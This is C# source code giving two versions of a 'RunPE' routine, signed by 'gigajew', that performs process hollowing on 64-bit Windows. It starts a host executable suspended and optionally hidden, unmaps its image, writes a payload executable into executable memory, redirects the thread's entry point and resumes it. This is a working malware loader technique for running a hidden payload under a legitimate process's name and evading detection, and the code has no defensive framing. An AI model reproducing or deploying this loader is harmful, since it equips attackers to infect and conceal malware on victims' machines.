public static bool Start(WinXParameters parameters) { _IMAGE_DOS_HEADER * dosHeader; _IMAGE_NT_HEADERS64 *ntHeaders; IntPtr pImageBase; IntPtr pBuffer; string currentDir = Path.GetDirectoryName(Assembly.GetEntryAssembly().Location); ProcessInfo processInfo; processInfo = new ProcessInfo(); _CONTEXT_AMD64 context = new _CONTEXT_AMD64(); context.ContextFlags = 0x10001b; // get the address of buffer fixed(byte *pBufferUnsafe = parameters.Payload) { pBuffer = (IntPtr)pBufferUnsafe; dosHeader = (_IMAGE_DOS_HEADER *)(pBufferUnsafe); ntHeaders = (_IMAGE_NT_HEADERS64 *)(pBufferUnsafe + (dosHeader->e_lfanew)); } // security checks if (dosHeader->e_magic != 0x5A4D || ntHeaders->Signature != 0x00004550) { throw new Win32Exception("Not a valid Win32 PE! -gigajew"); } // check 32-bit if (ntHeaders->OptionalHeader.Magic != 0x20b) { throw new Exception("This RunPE only supports AMD64-built executables! -gigajew"); } // init uint creationFlags = 0x00000004u | 0x00000008; if (parameters.Hidden) { creationFlags |= 0x08000000u; } if (!CreateProcessInternal(0u, null, parameters.GetFormattedHostFileName(), IntPtr.Zero, IntPtr.Zero, false, creationFlags, IntPtr.Zero, currentDir, new byte[0], &processInfo, 0u)) { if (processInfo.hProcess != IntPtr.Zero) { if (!TerminateProcess(processInfo.hProcess, -1)) { throw new Win32Exception(Marshal.GetLastWin32Error()); } else { CloseHandle(processInfo.hProcess); CloseHandle(processInfo.hThread); } } return(false); } // unmap pImageBase = (IntPtr)(ntHeaders->OptionalHeader.ImageBase); NtUnmapViewOfSection(processInfo.hProcess, pImageBase); // we don't care if this fails // allocate if (VirtualAllocEx(processInfo.hProcess, pImageBase, ntHeaders->OptionalHeader.SizeOfImage, 0x3000u, 0x40u) == IntPtr.Zero) { if (!TerminateProcess(processInfo.hProcess, -1)) { throw new Win32Exception(Marshal.GetLastWin32Error()); } else { CloseHandle(processInfo.hProcess); CloseHandle(processInfo.hThread); return(false); } } // copy image headers if (!WriteProcessMemory(processInfo.hProcess, pImageBase, pBuffer, ntHeaders->OptionalHeader.SizeOfHeaders, IntPtr.Zero)) { if (!TerminateProcess(processInfo.hProcess, -1)) { throw new Win32Exception(Marshal.GetLastWin32Error()); } else { CloseHandle(processInfo.hProcess); CloseHandle(processInfo.hThread); return(false); } } // copy sections for (ushort i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) { _IMAGE_SECTION_HEADER *section = (_IMAGE_SECTION_HEADER *)(pBuffer.ToInt64() + (dosHeader->e_lfanew) + Marshal.SizeOf(typeof(_IMAGE_NT_HEADERS64)) + (Marshal.SizeOf(typeof(_IMAGE_SECTION_HEADER)) * i)); if (!WriteProcessMemory(processInfo.hProcess, (IntPtr)(pImageBase.ToInt64() + (section->VirtualAddress)), (IntPtr)(pBuffer.ToInt64() + (section->PointerToRawData)), section->SizeOfRawData, IntPtr.Zero)) { if (!TerminateProcess(processInfo.hProcess, -1)) { throw new Win32Exception(Marshal.GetLastWin32Error()); } else { CloseHandle(processInfo.hProcess); CloseHandle(processInfo.hThread); return(false); } } } // get thread context if (!GetThreadContext(processInfo.hThread, &context)) { if (!TerminateProcess(processInfo.hProcess, -1)) { throw new Win32Exception(Marshal.GetLastWin32Error()); } else { CloseHandle(processInfo.hProcess); CloseHandle(processInfo.hThread); return(false); } } // patch imagebase IntPtr address = Marshal.AllocHGlobal(8); ulong puImageBase = (ulong)pImageBase.ToInt64(); byte[] pbImageBase = new byte[8]; pbImageBase[0] = (byte)(puImageBase >> 0); pbImageBase[1] = (byte)(puImageBase >> 8); pbImageBase[2] = (byte)(puImageBase >> 16); pbImageBase[3] = (byte)(puImageBase >> 24); pbImageBase[4] = (byte)(puImageBase >> 32); pbImageBase[5] = (byte)(puImageBase >> 40); pbImageBase[6] = (byte)(puImageBase >> 48); pbImageBase[7] = (byte)(puImageBase >> 56); Marshal.Copy(pbImageBase, 0, address, 8); if (!WriteProcessMemory(processInfo.hProcess, (IntPtr)(context.Rdx + 16ul), address, 8u, IntPtr.Zero)) { Marshal.FreeHGlobal(address); if (!TerminateProcess(processInfo.hProcess, -1)) { throw new Win32Exception(Marshal.GetLastWin32Error()); } else { CloseHandle(processInfo.hProcess); CloseHandle(processInfo.hThread); return(false); } } Marshal.FreeHGlobal(address); // patch ep context.Rcx = (ulong)(pImageBase.ToInt64() + (ntHeaders->OptionalHeader.AddressOfEntryPoint)); // set context if (!SetThreadContext(processInfo.hThread, &context)) { if (!TerminateProcess(processInfo.hProcess, -1)) { throw new Win32Exception(Marshal.GetLastWin32Error()); } else { CloseHandle(processInfo.hProcess); CloseHandle(processInfo.hThread); return(false); } } // resume thread ResumeThread(processInfo.hThread); // cleanup CloseHandle(processInfo.hProcess); CloseHandle(processInfo.hThread); return(true); }
public static bool Start(WinXParameters parameters) { _IMAGE_DOS_HEADER * dosHeader; _IMAGE_NT_HEADERS64 *ntHeaders; IntPtr payloadImageBase; IntPtr payloadBuffer; ProcessInfo processInfo; processInfo = new ProcessInfo(); StartupInfo startupInfo; startupInfo = new StartupInfo(); startupInfo.cb = (uint)Marshal.SizeOf(startupInfo); if (parameters.Hidden) { startupInfo.wShowWindow = 0; startupInfo.dwFlags = 0x00000001; } _CONTEXT_AMD64 context = new _CONTEXT_AMD64(); context.ContextFlags = 0x10001b; IntPtr address = Marshal.AllocHGlobal(8); IntPtr hToken = WindowsIdentity.GetCurrent().Token; IntPtr written = Marshal.AllocHGlobal(8); try { // get the address of buffer fixed(byte *pBufferUnsafe = parameters.Payload) { payloadBuffer = (IntPtr)pBufferUnsafe; dosHeader = (_IMAGE_DOS_HEADER *)(pBufferUnsafe); ntHeaders = (_IMAGE_NT_HEADERS64 *)(pBufferUnsafe + (dosHeader->e_lfanew)); } // security checks if (dosHeader->e_magic != 0x5A4D || ntHeaders->Signature != 0x00004550) { throw new Exception("Not a valid Win32 PE! -gigajew"); } // check 32-bit if (ntHeaders->OptionalHeader.Magic != 0x20b) { throw new Exception("This RunPE only supports X64-built executables! -gigajew"); } // init uint creationFlags = 0x00000004u | 0x00000008u; if (parameters.Hidden) { creationFlags |= 0x08000000u; } // patch (by Menalix/gigajew) Buffer.SetByte(parameters.Payload, 0x398, 0x2); //if (!CreateProcessInternal(0, null, parameters.GetFormattedHostFileName(), IntPtr.Zero, IntPtr.Zero, false, creationFlags, IntPtr.Zero, Environment.CurrentDirectory, &startupInfo, &processInfo, 0)) // throw new Win32Exception(Marshal.GetLastWin32Error()); CreateProcess(null, parameters.GetFormattedHostFileName(), IntPtr.Zero, IntPtr.Zero, false, creationFlags, IntPtr.Zero, Environment.CurrentDirectory, &startupInfo, &processInfo); // todo: fix relocation addresses // unmap existing section in the remote process payloadImageBase = (IntPtr)(ntHeaders->OptionalHeader.ImageBase); NtUnmapViewOfSection(processInfo.hProcess, payloadImageBase); // we don't care if this fails // allocate if (VirtualAllocEx(processInfo.hProcess, payloadImageBase, new UIntPtr(ntHeaders->OptionalHeader.SizeOfImage), 0x3000u, 0x40u) == IntPtr.Zero) { throw new Win32Exception(Marshal.GetLastWin32Error()); } // copy image headers if (!WriteProcessMemory(processInfo.hProcess, payloadImageBase, payloadBuffer, new UIntPtr(ntHeaders->OptionalHeader.SizeOfHeaders), written)) { throw new Win32Exception(Marshal.GetLastWin32Error()); } // copy sections for (ushort i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) { _IMAGE_SECTION_HEADER *section = (_IMAGE_SECTION_HEADER *)(payloadBuffer.ToInt64() + (dosHeader->e_lfanew) + Marshal.SizeOf(typeof(_IMAGE_NT_HEADERS64)) + (Marshal.SizeOf(typeof(_IMAGE_SECTION_HEADER)) * i)); if (!WriteProcessMemory(processInfo.hProcess, (IntPtr)(payloadImageBase.ToInt64() + (section->VirtualAddress)), (IntPtr)(payloadBuffer.ToInt64() + (section->PointerToRawData)), new UIntPtr(section->SizeOfRawData), written)) { throw new Win32Exception(Marshal.GetLastWin32Error()); } } // get thread context if (!GetThreadContext(processInfo.hThread, &context)) { throw new Win32Exception(Marshal.GetLastWin32Error(), "GetThreadContext"); } // patch imagebase Marshal.WriteInt64(address, payloadImageBase.ToInt64()); if (!WriteProcessMemory(processInfo.hProcess, (IntPtr)(context.Rdx + 16ul), address, new UIntPtr(8u), written)) { throw new Win32Exception(Marshal.GetLastWin32Error(), "WriteProcessMemory"); } // patch ep context.Rcx = (ulong)(payloadImageBase.ToInt64() + (ntHeaders->OptionalHeader.AddressOfEntryPoint)); // set context if (!SetThreadContext(processInfo.hThread, &context)) { throw new Win32Exception(Marshal.GetLastWin32Error(), "SetThreadContext"); } // resume thread ResumeThread(processInfo.hThread); } catch { TerminateProcess(processInfo.hProcess, 0); throw; } finally { CloseHandle(processInfo.hThread); CloseHandle(processInfo.hProcess); Marshal.FreeHGlobal(address); } return(true); }